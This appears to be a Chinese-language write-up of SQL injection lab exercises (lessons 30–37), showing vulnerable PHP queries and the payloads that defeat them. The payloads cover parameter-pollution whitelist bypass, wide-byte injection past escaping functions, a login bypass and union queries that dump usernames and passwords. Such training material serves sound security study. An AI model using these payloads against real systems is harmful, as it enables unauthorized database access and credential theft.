Lesson-30
该题为双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注
id=1
一旦输入错误会重定向hacked.jsp
目标SQL语句如下:
//index.php $id=$_GET['id'] $id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: 输出存在错误; //login.php $qs = $_SERVER['QUERY_STRING']; $id1=java_implimentation($qs); $id=$_GET['id']; whitelist($id1); $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: 输出存在错误; function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }
注意:该题的利用方式与lesson29类似,只不过拼接方式由单引号转换为双引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击
使用联合查询判断注入点,尝试验证
id=1&id=1" and "1"="1 //返回正常界面
id=1&id=1" and "1"="2 //返回错误界面
判断字段数
id=1&id=1" order by 3--+ //返回正确界面
id=1&id=1" order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=1&id=-1" union select 1,2,3--+
查询基础信息
id=1&id=-1" union select 1,user(),3--+ id=1&id=-1" union select 1,version(),3--+ id=1&id=-1" union select 1,database(),3--+
查询表名
id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询列名
id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询关键信息
id=1&id=-1" union select 1,group_concat(username),group_concat(password) from users--+
Lesson-31
该题为单括号双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注
id=1
一旦输入错误会重定向hacked.jsp
目标SQL语句如下:
//index.php $id=$_GET['id'] $id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE (id=$id) LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); //login.php $qs = $_SERVER['QUERY_STRING']; $id1=java_implimentation($qs); $id=$_GET['id']; whitelist($id1); $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }
注意:该题的利用方式与lesson30类似,只不过拼接方式由双引号转换为单括号双引号
使用联合查询判断注入点,尝试验证
id=1&id=1") and ("1")=("1 //返回正常界面
id=1&id=1" and "1"="2 //返回错误界面
判断字段数
id=1&id=1") order by 3--+ //返回正确界面
id=1&id=1") order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=1&id=-1") union select 1,2,3--+
查询基础信息
id=1&id=-1") union select 1,user(),3--+ id=1&id=-1") union select 1,version(),3--+ id=1&id=-1") union select 1,database(),3--+
查询表名
id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询列名
id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询关键信息
id=1&id=-1") union select 1,group_concat(username),group_concat(password) from users--+
Lesson-32
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=check_addslashes($_GET['id']); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); $string = preg_replace('/\'/i', '\\\'', $string); $string = preg_replace('/\"/', "\\\"", $string); return $string; }
注意:该题采用了新的过滤规则,将常用的单双引号、反斜杠等敏感字符都进行了反斜杠转义,我们需要去除反斜杠,因此可使用宽字节注入进行绕过
如果程序的默认字符集为 GBK 等宽字节字符集时,就有可能产生宽字节注入。MySQL 在使用 GBK 编码时会认为两个字符是一个汉字,例如%aa%5c
就会被 MySQL 认为是一个汉字。而\
字符的 URL 编码为%5c
,'
字符的 URL 编码为%27
,当我们输入%df%27
时由于目标对'
字符进行了过滤,因此输出为%df%5c%27
,%df%5c
被 MySQL 当做了汉字,而%27
则被当做单独的符号使用。
需要注意的是只有前一个 ASCII 码大于128才能到达汉字范围,因此不只是%df
,理论上来说%81
-%FE
均可用于宽字节注入。
由于旧版本的 MySQL 安装时,会有编码问题导致中文乱码。因此需要查看 MySQL 中的编码类型
SHOW VARIABLES LIKE 'character%';
使用联合查询判断注入点,尝试验证
id=1%df' //返回报错界面
id=1%df'--+ //返回正常界面
判断字段数
id=1%df' order by 3--+ //返回正确界面
id=1%df' order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1%df' union select 1,2,3--+
查询基础信息
id=-1%df' union select 1,user(),3--+ id=-1%df' union select 1,version(),3--+ id=-1%df' union select 1,database(),3--
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询列名
id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
查询关键信息
id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+
Lesson-33
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=check_addslashes($_GET['id']); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function check_addslashes($string) { $string= addslashes($string); return $string; }
注意:该题与Lesson32的利用方式相同,只不过更换了过滤函数addslashes(),该函数可在预定义字符之前添加反斜杠\
的字符串
addslashes()
函数预定义字符如下:
- 单引号 '
- 双引号 "
- 反斜杠 \
- 空字符 NULL
默认情况下 PHP 对所有GET
、POST
和COOKIE
请求数据执行addslashes()
。所以不应对已转义过的字符串使用addslashes()
,这样会导致二次转义。遇到这种情况我们可以使用函get_magic_quotes_gpc()
进行检测。stripslashes()
函数可删除由addslashes()
函数添加的反斜杠。实际上它与Lesson32的过滤功能类似,都可以使用宽字节进行注入。
使用联合查询判断注入点,尝试验证
id=1%df' //返回报错界面
id=1%df'--+ //返回正常界面
判断字段数
id=1%df' order by 3--+ //返回正确界面
id=1%df' order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1%df' union select 1,2,3--+
查询基础信息
id=-1%df' union select 1,user(),3--+ id=-1%df' union select 1,version(),3--+ id=-1%df' union select 1,database(),3--+
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询列名
id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
查询关键信息
id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+
Lesson-34
该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname1=$_POST['uname']; $passwd1=$_POST['passwd']; $uname = addslashes($uname1); $passwd= addslashes($passwd1); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson33的利用方式相同,只不过将请求方式由GET
转换为POST
,但POST
中不能进行URLencode
,可使用UTF-8
转UTF-16
或UTF-32
,登录成功或失败会返回不同的图片
使用iconv
命令进行 UTF 编码转换,从表面上看这是个乱码字符
echo \'|iconv -f utf-8 -t utf-16 echo \'|iconv -f utf-8 -t utf-32
截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录
uname=admin�'%20or%201#&passwd=admin&submit=Submit
那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中
SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;
需要注意的是这里的or 1
是or 1=1
的简化写法,只要是永真条件均可,同样的还有or true
、or 2>1
等
使用联合查询判断字段数
uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面
uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit
查询基础信息
uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit
查询列名
uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit
查询关键信息
uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit
Lesson-35
该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=check_addslashes($_GET['id']); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function check_addslashes($string) { $string = addslashes($string); return $string; }
注意:该题的过滤方式非常有意思,使用addslashes()函数过滤的是字符串,但在SQL语句中拼接的是字符,因此实际注入与平常的数字型注入无差别
使用联合查询判断注入点
id=1 and 1=1 //返回正确界面
id=1 and 1=2 //返回错误界面
判断字段数
id=1 order by 3# //返回正常界面
id=1 order by 4# //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1 union select 1,2,3#
查询基础信息
id=-1 union select 1,user(),version()#id=-1 union select 1,database(),3#
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询列名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
查询关键信息
id=-1 union select 1,group_concat(username),group_concat(password) from users#
Lesson-36
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=check_quotes($_GET['id']); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; }
注意:该题与Lesson33的利用方式相同,只不过更换了过滤函数mysql_real_escape_string(),该函数可在预定义字符之前添加反斜杠\
的字符串
mysql_real_escape_string()
函数预定义字符如下:
- 单引号 '
- 双引号 "
- 反斜杠 \
mysql_real_escape_string()
函数可转义 SQL 语句中使用的字符串中的特殊字符。与Lesson32的过滤功能类似,都可以使用宽字节进行注入。
使用联合查询判断注入点,尝试验证
id=1%df' //返回报错界面
id=1%df'--+ //返回正常界面
判断字段数
id=1%df' order by 3--+ //返回正确界面
id=1%df' order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1%df' union select 1,2,3--+
查询基础信息
id=-1%df' union select 1,user(),3--+ id=-1%df' union select 1,version(),3--+ id=-1%df' union select 1,database(),3--+
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询列名
id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
查询关键信息
id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+
Lesson-37
该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname1=$_POST['uname']; $passwd1=$_POST['passwd']; $uname = mysql_real_escape_string($uname1); $passwd= mysql_real_escape_string($passwd1); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson36的利用方式相同,只不过将请求方式由GET
转换为POST
,但POST
中不能进行URLencode
,可使用UTF-8
转UTF-16
或UTF-32
,登录成功或失败会返回不同的图片
使用iconv
命令进行 UTF 编码转换,从表面上看这是个乱码字符
echo \'|iconv -f utf-8 -t utf-16 echo \'|iconv -f utf-8 -t utf-32
截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录
uname=admin�'%20or%201#&passwd=admin&submit=Submit
那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中
SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;
需要注意的是这里的or 1
是or 1=1
的简化写法,只要是永真条件均可,同样的还有or true
、or 2>1
等
使用联合查询判断字段数
uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面
uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit
查询基础信息
uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit
查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出
uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit
查询列名
uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit
查询关键信息
uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit
0x02 总结
该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了21-37关高级注入的通关教程。